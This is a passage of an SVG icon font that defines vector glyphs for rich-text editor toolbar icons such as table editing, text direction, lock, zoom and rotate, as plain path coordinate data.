<glyph unicode="&#xe02d;" glyph-name="strikethrough" d="M731.42 442.964c63.92-47.938 100.58-116.086 100.58-186.964s-36.66-139.026-100.58-186.964c-59.358-44.518-137.284-69.036-219.42-69.036-82.138 0-160.062 24.518-219.42 69.036-63.92 47.938-100.58 116.086-100.58 186.964h128c0-69.382 87.926-128 192-128s192 58.618 192 128c0 69.382-87.926 128-192 128-82.138 0-160.062 24.518-219.42 69.036-63.92 47.94-100.58 116.086-100.58 186.964s36.66 139.024 100.58 186.964c59.358 44.518 137.282 69.036 219.42 69.036 82.136 0 160.062-24.518 219.42-69.036 63.92-47.94 100.58-116.086 100.58-186.964h-128c0 69.382-87.926 128-192 128s-192-58.618-192-128c0-69.382 87.926-128 192-128 82.136 0 160.062-24.518 219.42-69.036zM0 448h1024v-64h-1024z" />
<glyph unicode="&#xe02e;" glyph-name="visualchars" d="M384 896h512v-128h-128v-768h-128v768h-128v-768h-128v448c-123.712 0-224 100.288-224 224s100.288 224 224 224z" />
<glyph unicode="&#xe02f;" glyph-name="ltr" d="M448 896h512v-128h-128v-768h-128v768h-128v-768h-128v448c-123.712 0-224 100.288-224 224s100.288 224 224 224zM64 512l256-224-256-224z" />
<glyph unicode="&#xe030;" glyph-name="rtl" d="M256 896h512v-128h-128v-768h-128v768h-128v-768h-128v448c-123.712 0-224 100.288-224 224s100.288 224 224 224zM960 64l-256 224 256 224z" />
<glyph unicode="&#xe031;" glyph-name="copy" d="M832 704h-192v64l-192 192h-448v-768h384v-256h640v576l-192 192zM832 613.49l101.49-101.49h-101.49v101.49zM448 869.49l101.49-101.49h-101.49v101.49zM64 896h320v-192h192v-448h-512v640zM960 0h-512v192h192v448h128v-192h192v-448z" />
<glyph unicode="&#xe032;" glyph-name="resize" d="M768 704h64v-64h-64zM640 576h64v-64h-64zM640 448h64v-64h-64zM640 320h64v-64h-64zM512 448h64v-64h-64zM512 320h64v-64h-64zM384 320h64v-64h-64zM768 576h64v-64h-64zM768 448h64v-64h-64zM768 320h64v-64h-64zM768 192h64v-64h-64zM640 192h64v-64h-64zM512 192h64v-64h-64zM384 192h64v-64h-64zM256 192h64v-64h-64z" />
<glyph unicode="&#xe033;" glyph-name="checkbox" d="M128 416l288-288 480 480-128 128-352-352-160 160z" />
<glyph unicode="&#xe034;" glyph-name="browse" d="M928 832h-416l-32 64h-352l-64-128h896zM904.34 256h74.86l44.8 448h-1024l64-640h484.080c-104.882 37.776-180.080 138.266-180.080 256 0 149.982 122.018 272 272 272 149.98 0 272-122.018 272-272 0-21.678-2.622-43.15-7.66-64zM1002.996 46.25l-198.496 174.692c17.454 28.92 27.5 62.814 27.5 99.058 0 106.040-85.96 192-192 192s-192-85.96-192-192 85.96-192 192-192c36.244 0 70.138 10.046 99.058 27.5l174.692-198.496c22.962-26.678 62.118-28.14 87.006-3.252l5.492 5.492c24.888 24.888 23.426 64.044-3.252 87.006zM640 196c-68.484 0-124 55.516-124 124s55.516 124 124 124 124-55.516 124-124-55.516-124-124-124z" />
<glyph unicode="&#xe035;" glyph-name="pastetext" d="M512 448v-128h32l32 64h64v-256h-48v-64h224v64h-48v256h64l32-64h32v128zM832 640v160c0 17.6-14.4 32-32 32h-224v64c0 35.2-28.8 64-64 64h-128c-35.204 0-64-28.8-64-64v-64h-224c-17.602 0-32-14.4-32-32v-640c0-17.6 14.398-32 32-32h288v-192h640v704h-192zM384 895.886c0.034 0.038 0.072 0.078 0.114 0.114h127.768c0.042-0.036 0.082-0.076 0.118-0.114v-63.886h-128v63.886zM192 704v64h512v-64h-512zM960 0h-512v576h512v-576z" />
<glyph unicode="&#xe600;" glyph-name="gamma" d="M483.2 320l-147.2 336c-9.6 25.6-19.2 44.8-25.6 54.4s-16 12.8-25.6 12.8c-16 0-25.6-3.2-28.8-3.2v70.4c9.6 6.4 25.6 6.4 38.4 9.6 32 0 57.6-6.4 73.6-22.4 6.4-6.4 12.8-16 19.2-25.6 6.4-12.8 12.8-25.6 16-41.6l121.6-291.2 150.4 371.2h92.8l-198.4-470.4v-224h-86.4v224zM0 960v-1024h1024v1024h-1024zM960 0h-896v896h896v-896z" />
<glyph unicode="&#xe601;" glyph-name="orientation" d="M627.2 80h-579.2v396.8h579.2v-396.8zM553.6 406.4h-435.2v-256h435.2v256zM259.2 732.8c176 176 457.6 176 633.6 0s176-457.6 0-633.6c-121.6-121.6-297.6-160-454.4-108.8 121.6-28.8 262.4 9.6 361.6 108.8 150.4 150.4 160 384 22.4 521.6-121.6 121.6-320 128-470.4 19.2l86.4-86.4-294.4-22.4 22.4 294.4 92.8-92.8z" />
<glyph unicode="&#xe602;" glyph-name="invert" d="M892.8-22.4l-89.6 89.6c-70.4-80-172.8-131.2-288-131.2-208 0-380.8 166.4-384 377.6 0 0 0 0 0 0 0 3.2 0 3.2 0 6.4s0 3.2 0 6.4v0c0 0 0 0 0 3.2 0 0 0 3.2 0 3.2 3.2 105.6 48 211.2 105.6 304l-192 192 44.8 44.8 182.4-182.4c0 0 0 0 0 0l569.6-569.6c0 0 0 0 0 0l99.2-99.2-48-44.8zM896 326.4c0 0 0 0 0 0 0 3.2 0 6.4 0 6.4-9.6 316.8-384 627.2-384 627.2s-108.8-89.6-208-220.8l70.4-70.4c6.4 9.6 16 22.4 22.4 32 41.6 51.2 83.2 96 115.2 128v0c32-32 73.6-76.8 115.2-128 108.8-137.6 169.6-265.6 172.8-371.2 0 0 0-3.2 0-3.2v0 0c0-3.2 0-3.2 0-6.4s0-3.2 0-3.2v0 0c0-22.4-3.2-41.6-9.6-64l76.8-76.8c16 41.6 28.8 89.6 28.8 137.6 0 0 0 0 0 0 0 3.2 0 3.2 0 6.4s0 3.2 0 6.4z" />
<glyph unicode="&#xe603;" glyph-name="codesample" d="M199.995 578.002v104.002c0 43.078 34.923 78.001 78.001 78.001h26v104.002h-26c-100.518 0-182.003-81.485-182.003-182.003v-104.002c0-43.078-34.923-78.001-78.001-78.001h-26v-104.002h26c43.078 0 78.001-34.923 78.001-78.001v-104.002c0-100.515 81.485-182.003 182.003-182.003h26v104.002h-26c-43.078 0-78.001 34.923-78.001 78.001v104.002c0 50.931-20.928 96.966-54.646 130.002 33.716 33.036 54.646 79.072 54.646 130.002zM824.005 578.002v104.002c0 43.078-34.923 78.001-78.001 78.001h-26v104.002h26c100.515 0 182.003-81.485 182.003-182.003v-104.002c0-43.078 34.923-78.001 78.001-78.001h26v-104.002h-26c-43.078 0-78.001-34.923-78.001-78.001v-104.002c0-100.515-81.488-182.003-182.003-182.003h-26v104.002h26c43.078 0 78.001 34.923 78.001 78.001v104.002c0 50.931 20.928 96.966 54.646 130.002-33.716 33.036-54.646 79.072-54.646 130.002zM616.002 603.285c0-57.439-46.562-104.002-104.002-104.002s-104.002 46.562-104.002 104.002c0 57.439 46.562 104.002 104.002 104.002s104.002-46.562 104.002-104.002zM512 448.717c-57.439 0-104.002-46.562-104.002-104.002 0-55.845 26-100.115 105.752-103.88-23.719-33.417-59.441-46.612-105.752-50.944v-61.751c0 0 208.003-18.144 208.003 216.577-0.202 57.441-46.56 104.004-104.002 104.004z" />
<glyph unicode="&#xe604;" glyph-name="tablerowprops" d="M0 896v-896h1024v896h-1024zM640 256v-192h-256v192h256zM640 768v-192h-256v192h256zM320 768v-192h-256v192h256zM704 576v192h256v-192h-256zM64 256h256v-192h-256v192zM704 64v192h256v-192h-256z" />
<glyph unicode="&#xe605;" glyph-name="tablecellprops" d="M0 896v-896h1024v896h-1024zM640 256v-192h-256v192h256zM640 768v-192h-256v192h256zM320 768v-192h-256v192h256zM64 512h256v-192h-256v192zM704 512h256v-192h-256v192zM704 576v192h256v-192h-256zM64 256h256v-192h-256v192zM704 64v192h256v-192h-256z" />
<glyph unicode="&#xe606;" glyph-name="table2" d="M0 896v-832h1024v832h-1024zM320 128h-256v192h256v-192zM320 384h-256v192h256v-192zM640 128h-256v192h256v-192zM640 384h-256v192h256v-192zM960 128h-256v192h256v-192zM960 384h-256v192h256v-192zM960 640h-896v192h896v-192z" />
<glyph unicode="&#xe607;" glyph-name="tablemergecells" d="M0 896v-896h1024v896h-1024zM384 64v448h576v-448h-576zM640 768v-192h-256v192h256zM320 768v-192h-256v192h256zM64 512h256v-192h-256v192zM704 576v192h256v-192h-256zM64 256h256v-192h-256v192z" />
<glyph unicode="&#xe608;" glyph-name="tableinsertcolbefore" d="M320 188.8v182.4h-182.4v89.6h182.4v182.4h86.4v-182.4h185.6v-89.6h-185.6v-182.4zM0 896v-896h1024v896h-1024zM640 64h-576v704h576v-704zM960 64h-256v192h256v-192zM960 320h-256v192h256v-192zM960 576h-256v192h256v-192z" />
<glyph unicode="&#xe609;" glyph-name="tableinsertcolafter" d="M704 643.2v-182.4h182.4v-89.6h-182.4v-182.4h-86.4v182.4h-185.6v89.6h185.6v182.4zM0 896v-896h1024v896h-1024zM320 64h-256v192h256v-192zM320 320h-256v192h256v-192zM320 576h-256v192h256v-192zM960 64h-576v704h576v-704z" />
<glyph unicode="&#xe60a;" glyph-name="tableinsertrowbefore" d="M691.2 508.8h-144v-144h-70.4v144h-144v67.2h144v144h70.4v-144h144zM0 896v-896h1024v896h-1024zM320 64h-256v192h256v-192zM640 64h-256v192h256v-192zM960 64h-256v192h256v-192zM960 316.8h-896v451.2h896v-451.2z" />
<glyph unicode="&#xe60b;" glyph-name="tableinsertrowafter" d="M332.8 323.2h144v144h70.4v-144h144v-67.2h-144v-144h-70.4v144h-144zM0 896v-896h1024v896h-1024zM384 768h256v-192h-256v192zM64 768h256v-192h-256v192zM960 64h-896v451.2h896v-451.2zM960 576h-256v192h256v-192z" />
<glyph unicode="&#xe60d;" glyph-name="tablesplitcells" d="M0 896v-896h1024v896h-1024zM384 768h256v-192h-256v192zM320 64h-256v192h256v-192zM320 320h-256v192h256v-192zM320 576h-256v192h256v-192zM960 64h-576v448h576v-448zM960 576h-256v192h256v-192zM864 156.8l-60.8-60.8-131.2 131.2-131.2-131.2-60.8 60.8 131.2 131.2-131.2 131.2 60.8 60.8 131.2-131.2 131.2 131.2 60.8-60.8-131.2-131.2z" />
<glyph unicode="&#xe60e;" glyph-name="tabledelete" d="M0 896h1024v-896h-1024v896zM60.8 768v-704h899.2v704h-899.2zM809.6 211.2l-96-96-204.8 204.8-204.8-204.8-96 96 204.8 204.8-204.8 204.8 96 96 204.8-204.8 204.8 204.8 96-96-204.8-204.8z" />
<glyph unicode="&#xe62a;" glyph-name="tableleftheader" d="M0 896v-832h1024v832h-1024zM640 128h-256v192h256v-192zM640 384h-256v192h256v-192zM640 640h-256v192h256v-192zM960 128h-256v192h256v-192zM960 384h-256v192h256v-192zM960 640h-256v192h256v-192z" />
<glyph unicode="&#xe62b;" glyph-name="tabletopheader" d="M0 896v-832h1024v832h-1024zM320 128h-256v192h256v-192zM320 384h-256v192h256v-192zM640 128h-256v192h256v-192zM640 384h-256v192h256v-192zM960 128h-256v192h256v-192zM960 384h-256v192h256v-192z" />
<glyph unicode="&#xe800;" glyph-name="tabledeleterow" d="M886.4 572.8l-156.8-156.8 160-160-76.8-76.8-160 160-156.8-156.8-76.8 73.6 160 160-163.2 163.2 76.8 76.8 163.2-163.2 156.8 156.8 73.6-76.8zM0 896v-896h1024v896h-1024zM960 576h-22.4l-64-64h86.4v-192h-89.6l64-64h25.6v-192h-896v192h310.4l64 64h-374.4v192h371.2l-64 64h-307.2v192h896v-192z" />
<glyph unicode="&#xe801;" glyph-name="tabledeletecol" d="M320 499.2l64-64v-12.8l-64-64v140.8zM640 422.4l64-64v137.6l-64-64v-9.6zM1024 896v-896h-1024v896h1024zM960 768h-256v-51.2l-12.8 12.8-51.2-51.2v89.6h-256v-89.6l-51.2 51.2-12.8-12.8v51.2h-256v-704h256v118.4l35.2-35.2 28.8 28.8v-115.2h256v115.2l48-48 16 16v-83.2h256v707.2zM672 662.4l-156.8-156.8-163.2 163.2-76.8-76.8 163.2-163.2-156.8-156.8 76.8-76.8 156.8 156.8 160-160 76.8 76.8-160 160 156.8 156.8-76.8 76.8z" />
<glyph unicode="&#xe900;" glyph-name="a11y" d="M960 704v64l-448-128-448 128v-64l320-128v-256l-128-448h64l192 448 192-448h64l-128 448v256zM416 800q0 40 28 68t68 28 68-28 28-68-28-68-68-28-68 28-28 68z" />
<glyph unicode="&#xe901;" glyph-name="toc" d="M0 896h128v-128h-128v128zM192 896h832v-128h-832v128zM0 512h128v-128h-128v128zM192 512h832v-128h-832v128zM0 128h128v-128h-128v128zM192 128h832v-128h-832v128zM192 704h128v-128h-128v128zM384 704h640v-128h-640v128zM192 320h128v-128h-128v128zM384 320h640v-128h-640v128z" />
<glyph unicode="&#xe902;" glyph-name="fill" d="M521.6 915.2l-67.2-67.2-86.4 86.4-86.4-86.4 86.4-86.4-368-368 432-432 518.4 518.4-428.8 435.2zM435.2 134.4l-262.4 262.4 35.2 35.2 576 51.2-348.8-348.8zM953.6 409.6c-6.4-6.4-16-16-28.8-32-28.8-32-41.6-64-41.6-89.6v0 0 0 0 0 0 0c0-16 6.4-35.2 22.4-48 12.8-12.8 32-22.4 48-22.4s35.2 6.4 48 22.4 22.4 32 22.4 48v0 0 0 0 0 0 0c0 25.6-12.8 54.4-41.6 89.6-9.6 16-22.4 25.6-28.8 32v0z" />
<glyph unicode="&#xe903;" glyph-name="borderwidth" d="M0 265.6h1024v-128h-1024v128zM0 32h1024v-64h-1024v64zM0 566.4h1024v-192h-1024v192zM0 928h1024v-256h-1024v256z" />
<glyph unicode="&#xe904;" glyph-name="line" d="M739.2 627.2l-502.4-502.4h-185.6v185.6l502.4 502.4 185.6-185.6zM803.2 688l-185.6 185.6 67.2 67.2c22.4 22.4 54.4 22.4 76.8 0l108.8-108.8c22.4-22.4 22.4-54.4 0-76.8l-67.2-67.2zM41.6 48h940.8v-112h-940.8v112z" />
<glyph unicode="&#xe905;" glyph-name="count" d="M0 480h1024v-64h-1024v64zM304 912v-339.2h-67.2v272h-67.2v67.2zM444.8 694.4v-54.4h134.4v-67.2h-201.6v153.6l134.4 64v54.4h-134.4v67.2h201.6v-153.6zM854.4 912v-339.2h-204.8v67.2h137.6v67.2h-137.6v70.4h137.6v67.2h-137.6v67.2zM115.2 166.4c3.2 57.6 38.4 83.2 108.8 83.2 38.4 0 67.2-9.6 86.4-25.6s25.6-35.2 25.6-70.4v-112c0-25.6 0-28.8 9.6-41.6h-73.6c-3.2 9.6-3.2 9.6-6.4 19.2-22.4-19.2-41.6-25.6-70.4-25.6-54.4 0-89.6 32-89.6 76.8s28.8 70.4 99.2 80l38.4 6.4c16 3.2 22.4 6.4 22.4 16 0 12.8-12.8 22.4-38.4 22.4s-41.6-9.6-44.8-28.8h-67.2zM262.4 115.2c-6.4-3.2-12.8-6.4-25.6-6.4l-25.6-6.4c-25.6-6.4-38.4-16-38.4-28.8 0-16 12.8-25.6 35.2-25.6s41.6 9.6 54.4 32v35.2zM390.4 336h73.6v-112c22.4 16 41.6 22.4 67.2 22.4 64 0 105.6-51.2 105.6-124.8 0-76.8-44.8-134.4-108.8-134.4-32 0-48 9.6-67.2 35.2v-28.8h-70.4v342.4zM460.8 121.6c0-41.6 22.4-70.4 51.2-70.4s51.2 28.8 51.2 70.4c0 44.8-19.2 70.4-51.2 70.4-28.8 0-51.2-28.8-51.2-70.4zM851.2 153.6c-3.2 22.4-19.2 35.2-44.8 35.2-32 0-51.2-25.6-51.2-70.4 0-48 19.2-73.6 51.2-73.6 25.6 0 41.6 12.8 44.8 41.6l70.4-3.2c-9.6-60.8-54.4-96-118.4-96-73.6 0-121.6 51.2-121.6 128 0 80 48 131.2 124.8 131.2 64 0 108.8-35.2 112-96h-67.2z" />
<glyph unicode="&#xe906;" glyph-name="reload" d="M889.68 793.68c-93.608 102.216-228.154 166.32-377.68 166.32-282.77 0-512-229.23-512-512h96c0 229.75 186.25 416 416 416 123.020 0 233.542-53.418 309.696-138.306l-149.696-149.694h352v352l-134.32-134.32zM928 448c0-229.75-186.25-416-416-416-123.020 0-233.542 53.418-309.694 138.306l149.694 149.694h-352v-352l134.32 134.32c93.608-102.216 228.154-166.32 377.68-166.32 282.77 0 512 229.23 512 512h-96z" />
<glyph unicode="&#xe907;" glyph-name="translate" d="M553.6 304l-118.4 118.4c80 89.6 137.6 195.2 172.8 304h137.6v92.8h-326.4v92.8h-92.8v-92.8h-326.4v-92.8h518.4c-32-89.6-80-176-147.2-249.6-44.8 48-80 99.2-108.8 156.8h-92.8c35.2-76.8 80-147.2 137.6-211.2l-236.8-233.6 67.2-67.2 233.6 233.6 144-144c3.2 0 38.4 92.8 38.4 92.8zM816 540.8h-92.8l-208-560h92.8l51.2 140.8h220.8l51.2-140.8h92.8l-208 560zM691.2 214.4l76.8 201.6 76.8-201.6h-153.6z" />
<glyph unicode="&#xe908;" glyph-name="drag" d="M576 896h128v-128h-128v128zM576 640h128v-128h-128v128zM320 640h128v-128h-128v128zM576 384h128v-128h-128v128zM320 384h128v-128h-128v128zM320 128h128v-128h-128v128zM576 128h128v-128h-128v128zM320 896h128v-128h-128v128z" />
<glyph unicode="&#xe909;" glyph-name="format-painter" d="M768 746.667v42.667c0 23.467-19.2 42.667-42.667 42.667h-512c-23.467 0-42.667-19.2-42.667-42.667v-170.667c0-23.467 19.2-42.667 42.667-42.667h512c23.467 0 42.667 19.2 42.667 42.667v42.667h42.667v-170.667h-426.667v-384c0-23.467 19.2-42.667 42.667-42.667h85.333c23.467 0 42.667 19.2 42.667 42.667v298.667h341.333v341.333h-128z" />
<glyph unicode="&#xe90b;" glyph-name="home" d="M1024 369.556l-512 397.426-512-397.428v162.038l512 397.426 512-397.428zM896 384v-384h-256v256h-256v-256h-256v384l384 288z" />
<glyph unicode="&#xe911;" glyph-name="books" d="M576.234 670.73l242.712 81.432 203.584-606.784-242.712-81.432zM0 64h256v704h-256v-704zM64 640h128v-64h-128v64zM320 64h256v704h-256v-704zM384 640h128v-64h-128v64z" />
<glyph unicode="&#xe914;" glyph-name="upload" d="M839.432 760.57c27.492-27.492 50.554-78.672 55.552-120.57h-318.984v318.984c41.898-4.998 93.076-28.060 120.568-55.552l142.864-142.862zM512 576v384h-368c-44 0-80-36-80-80v-864c0-44 36-80 80-80h672c44 0 80 36 80 80v560h-384zM576 192v-192h-192v192h-160l256 256 256-256h-160z" />
<glyph unicode="&#xe915;" glyph-name="editimage" d="M768 416v-352h-640v640h352l128 128h-512c-52.8 0-96-43.2-96-96v-704c0-52.8 43.2-96 96-96h704c52.798 0 96 43.2 96 96v512l-128-128zM864 960l-608-608v-160h160l608 608c0 96-64 160-160 160zM416 320l-48 48 480 480 48-48-480-480z" />
<glyph unicode="&#xe91c;" glyph-name="bubble" d="M928 896h-832c-52.8 0-96-43.2-96-96v-512c0-52.8 43.2-96 96-96h160v-256l307.2 256h364.8c52.8 0 96 43.2 96 96v512c0 52.8-43.2 96-96 96zM896 320h-379.142l-196.858-174.714v174.714h-192v448h768v-448z" />
<glyph unicode="&#xe91d;" glyph-name="user" d="M622.826 257.264c-22.11 3.518-22.614 64.314-22.614 64.314s64.968 64.316 79.128 150.802c38.090 0 61.618 91.946 23.522 124.296 1.59 34.054 48.96 267.324-190.862 267.324s-192.45-233.27-190.864-267.324c-38.094-32.35-14.57-124.296 23.522-124.296 14.158-86.486 79.128-150.802 79.128-150.802s-0.504-60.796-22.614-64.314c-71.22-11.332-337.172-128.634-337.172-257.264h896c0 128.63-265.952 245.932-337.174 257.264z" />
<glyph unicode="&#xe926;" glyph-name="lock" d="M592 512h-16v192c0 105.87-86.13 192-192 192h-128c-105.87 0-192-86.13-192-192v-192h-16c-26.4 0-48-21.6-48-48v-480c0-26.4 21.6-48 48-48h544c26.4 0 48 21.6 48 48v480c0 26.4-21.6 48-48 48zM192 704c0 35.29 28.71 64 64 64h128c35.29 0 64-28.71 64-64v-192h-256v192z" />
<glyph unicode="&#xe927;" glyph-name="unlock" d="M768 896c105.87 0 192-86.13 192-192v-192h-128v192c0 35.29-28.71 64-64 64h-128c-35.29 0-64-28.71-64-64v-192h16c26.4 0 48-21.6 48-48v-480c0-26.4-21.6-48-48-48h-544c-26.4 0-48 21.6-48 48v480c0 26.4 21.6 48 48 48h400v192c0 105.87 86.13 192 192 192h128z" />
<glyph unicode="&#xe928;" glyph-name="settings" d="M448 832v16c0 26.4-21.6 48-48 48h-160c-26.4 0-48-21.6-48-48v-16h-192v-128h192v-16c0-26.4 21.6-48 48-48h160c26.4 0 48 21.6 48 48v16h576v128h-576zM256 704v128h128v-128h-128zM832 528c0 26.4-21.6 48-48 48h-160c-26.4 0-48-21.6-48-48v-16h-576v-128h576v-16c0-26.4 21.6-48 48-48h160c26.4 0 48 21.6 48 48v16h192v128h-192v16zM640 384v128h128v-128h-128zM448 208c0 26.4-21.6 48-48 48h-160c-26.4 0-48-21.6-48-48v-16h-192v-128h192v-16c0-26.4 21.6-48 48-48h160c26.4 0 48 21.6 48 48v16h576v128h-576v16zM256 64v128h128v-128h-128z" />
<glyph unicode="&#xe92a;" glyph-name="remove2" d="M192-64h640l64 704h-768zM640 832v128h-256v-128h-320v-192l64 64h768l64-64v192h-320zM576 832h-128v64h128v-64z" />
<glyph unicode="&#xe92d;" glyph-name="menu" d="M384 896h256v-256h-256zM384 576h256v-256h-256zM384 256h256v-256h-256z" />
<glyph unicode="&#xe930;" glyph-name="warning" d="M1009.956 44.24l-437.074 871.112c-16.742 29.766-38.812 44.648-60.882 44.648s-44.14-14.882-60.884-44.648l-437.074-871.112c-33.486-59.532-5-108.24 63.304-108.24h869.308c68.302 0 96.792 48.708 63.302 108.24zM512 64c-35.346 0-64 28.654-64 64 0 35.348 28.654 64 64 64 35.348 0 64-28.652 64-64 0-35.346-28.652-64-64-64zM556 256h-88l-20 256c0 35.346 28.654 64 64 64s64-28.654 64-64l-20-256z" />
<glyph unicode="&#xe931;" glyph-name="question" d="M448 256h128v-128h-128zM704 704c35.346 0 64-28.654 64-64v-192l-192-128h-128v64l192 128v64h-320v128h384zM512 864c-111.118 0-215.584-43.272-294.156-121.844s-121.844-183.038-121.844-294.156c0-111.118 43.272-215.584 121.844-294.156s183.038-121.844 294.156-121.844c111.118 0 215.584 43.272 294.156 121.844s121.844 183.038 121.844 294.156c0 111.118-43.272 215.584-121.844 294.156s-183.038 121.844-294.156 121.844zM512 960v0c282.77 0 512-229.23 512-512s-229.23-512-512-512c-282.77 0-512 229.23-512 512s229.23 512 512 512z" />
<glyph unicode="&#xe932;" glyph-name="pluscircle" d="M512 960c-282.77 0-512-229.23-512-512s229.23-512 512-512 512 229.23 512 512-229.23 512-512 512zM512 64c-212.078 0-384 171.922-384 384s171.922 384 384 384c212.078 0 384-171.922 384-384s-171.922-384-384-384zM768 384h-192v-192h-128v192h-192v128h192v192h128v-192h192z" />
<glyph unicode="&#xe933;" glyph-name="info" d="M512 960c-282.77 0-512-229.23-512-512s229.23-512 512-512 512 229.23 512 512-229.23 512-512 512zM448 768h128v-128h-128v128zM640 128h-256v64h64v256h-64v64h192v-320h64v-64z" />
<glyph unicode="&#xe934;" glyph-name="notice" d="M1024 224l-288 736h-448l-288-288v-448l288-288h448l288 288v448l-288 288zM576 128h-128v128h128v-128zM576 384h-128v384h128v-384z" />
<glyph unicode="&#xe935;" glyph-name="drop" d="M864.626 486.838c-65.754 183.44-205.11 348.15-352.626 473.162-147.516-125.012-286.87-289.722-352.626-473.162-40.664-113.436-44.682-236.562 12.584-345.4 65.846-125.14 198.632-205.438 340.042-205.438s274.196 80.298 340.040 205.44c57.27 108.838 53.25 231.962 12.586 345.398zM738.764 201.044c-43.802-83.252-132.812-137.044-226.764-137.044-55.12 0-108.524 18.536-152.112 50.652 13.242-1.724 26.632-2.652 40.112-2.652 117.426 0 228.668 67.214 283.402 171.242 44.878 85.292 40.978 173.848 23.882 244.338 14.558-28.15 26.906-56.198 36.848-83.932 22.606-63.062 40.024-156.34-5.368-242.604z" />
<glyph unicode="&#xe939;" glyph-name="minus" d="M0 544v-192c0-17.672 14.328-32 32-32h960c17.672 0 32 14.328 32 32v192c0 17.672-14.328 32-32 32h-960c-17.672 0-32-14.328-32-32z" />
<glyph unicode="&#xe93a;" glyph-name="plus" d="M992 576h-352v352c0 17.672-14.328 32-32 32h-192c-17.672 0-32-14.328-32-32v-352h-352c-17.672 0-32-14.328-32-32v-192c0-17.672 14.328-32 32-32h352v-352c0-17.672 14.328-32 32-32h192c17.672 0 32 14.328 32 32v352h352c17.672 0 32 14.328 32 32v192c0 17.672-14.328 32-32 32z" />
<glyph unicode="&#xe93b;" glyph-name="arrowup" d="M0 320l192-192 320 320 320-320 192 192-511.998 512z" />
<glyph unicode="&#xe93c;" glyph-name="arrowright" d="M384 960l-192-192 320-320-320-320 192-192 512 512z" />
<glyph unicode="&#xe93d;" glyph-name="arrowdown" d="M1024 576l-192 192-320-320-320 320-192-192 512-511.998z" />
<glyph unicode="&#xe93f;" glyph-name="arrowup2" d="M768 320l-256 256-256-256z" />
<glyph unicode="&#xe940;" glyph-name="arrowdown2" d="M256 576l256-256 256 256z" />
<glyph unicode="&#xe941;" glyph-name="menu2" d="M256 704l256-256 256 256zM255.996 384.004l256-256 256 256z" />
<glyph unicode="&#xe961;" glyph-name="newtab" d="M704 384l128 128v-512h-768v768h512l-128-128h-256v-512h512zM960 896v-352l-130.744 130.744-354.746-354.744h-90.51v90.512l354.744 354.744-130.744 130.744z" />
<glyph unicode="&#xeaa8;" glyph-name="rotateleft" d="M607.998 831.986c-212.070 0-383.986-171.916-383.986-383.986h-191.994l246.848-246.848 246.848 246.848h-191.994c0 151.478 122.798 274.276 274.276 274.276 151.48 0 274.276-122.798 274.276-274.276 0-151.48-122.796-274.276-274.276-274.276v-109.71c212.070 0 383.986 171.916 383.986 383.986s-171.916 383.986-383.986 383.986z" />
<glyph unicode="&#xeaa9;" glyph-name="rotateright" d="M416.002 831.986c212.070 0 383.986-171.916 383.986-383.986h191.994l-246.848-246.848-246.848 246.848h191.994c0 151.478-122.798 274.276-274.276 274.276-151.48 0-274.276-122.798-274.276-274.276 0-151.48 122.796-274.276 274.276-274.276v-109.71c-212.070 0-383.986 171.916-383.986 383.986s171.916 383.986 383.986 383.986z" />
<glyph unicode="&#xeaaa;" glyph-name="flipv" d="M0 576h1024v384zM1024 0v384h-1024z" />
<glyph unicode="&#xeaac;" glyph-name="fliph" d="M576 960v-1024h384zM0-64h384v1024z" />
<glyph unicode="&#xeb35;" glyph-name="zoomin" d="M992.262 88.604l-242.552 206.294c-25.074 22.566-51.89 32.926-73.552 31.926 57.256 67.068 91.842 154.078 91.842 249.176 0 212.078-171.922 384-384 384-212.076 0-384-171.922-384-384s171.922-384 384-384c95.098 0 182.108 34.586 249.176 91.844-1-21.662 9.36-48.478 31.926-73.552l206.294-242.552c35.322-39.246 93.022-42.554 128.22-7.356s31.892 92.898-7.354 128.22zM384 320c-141.384 0-256 114.616-256 256s114.616 256 256 256 256-114.616 256-256-114.614-256-256-256zM448 768h-128v-128h-128v-128h128v-128h128v128h128v128h-128z" />
<glyph unicode="&#xeb36;" glyph-name="zoomout" d="M992.262 88.604l-242.552 206.294c-25.074 22.566-51.89 32.926-73.552 31.926 57.256 67.068 91.842 154.078 91.842 249.176 0 212.078-171.922 384-384 384-212.076 0-384-171.922-384-384s171.922-384 384-384c95.098 0 182.108 34.586 249.176 91.844-1-21.662 9.36-48.478 31.926-73.552l206.294-242.552c35.322-39.246 93.022-42.554 128.22-7.356s31.892 92.898-7.354 128.22zM384 320c-141.384 0-256 114.616-256 256s114.616 256 256 256 256-114.616 256-256-114.614-256-256-256zM192 640h384v-128h-384z" />
<glyph unicode="&#xeba7;" glyph-name="sharpen" d="M768 832h-512l-256-256 512-576 512 576-256 256zM512 181.334v2.666h-2.37l-14.222 16h16.592v16h-30.814l-14.222 16h45.036v16h-59.258l-14.222 16h73.48v16h-87.704l-14.222 16h101.926v16h-116.148l-14.222 16h130.37v16h-144.592l-14.222 16h158.814v16h-173.038l-14.222 16h187.26v16h-201.482l-14.222 16h215.704v16h-229.926l-14.222 16h244.148v16h-258.372l-14.222 16h272.594v16h-286.816l-14.222 16h301.038v16h-315.26l-14.222 16h329.482v16h-343.706l-7.344 8.262 139.072 139.072h211.978v-3.334h215.314l16-16h-231.314v-16h247.314l16-16h-263.314v-16h279.314l16-16h-295.314v-16h311.314l16-16h-327.314v-16h343.312l7.738-7.738-351.050-394.928z" />
<glyph unicode="&#xec6a;" glyph-name="options" d="M64 768h896v-192h-896zM64 512h896v-192h-896zM64 256h896v-192h-896z" />
<glyph unicode="&#xeccc;" glyph-name="sun" d="M512 128c35.346 0 64-28.654 64-64v-64c0-35.346-28.654-64-64-64s-64 28.654-64 64v64c0 35.346 28.654 64 64 64zM512 768c-35.346 0-64 28.654-64 64v64c0 35.346 28.654 64 64 64s64-28.654 64-64v-64c0-35.346-28.654-64-64-64zM960 512c35.346 0 64-28.654 64-64s-28.654-64-64-64h-64c-35.348 0-64 28.654-64 64s28.652 64 64 64h64zM192 448c0-35.346-28.654-64-64-64h-64c-35.346 0-64 28.654-64 64s28.654 64 64 64h64c35.346 0 64-28.654 64-64zM828.784 221.726l45.256-45.258c24.992-24.99 24.992-65.516 0-90.508-24.994-24.992-65.518-24.992-90.51 0l-45.256 45.256c-24.992 24.99-24.992 65.516 0 90.51 24.994 24.992 65.518 24.992 90.51 0zM195.216 674.274l-45.256 45.256c-24.994 24.994-24.994 65.516 0 90.51s65.516 24.994 90.51 0l45.256-45.256c24.994-24.994 24.994-65.516 0-90.51s-65.516-24.994-90.51 0zM828.784 674.274c-24.992-24.992-65.516-24.992-90.51 0-24.992 24.994-24.992 65.516 0 90.51l45.256 45.254c24.992 24.994 65.516 24.994 90.51 0 24.992-24.994 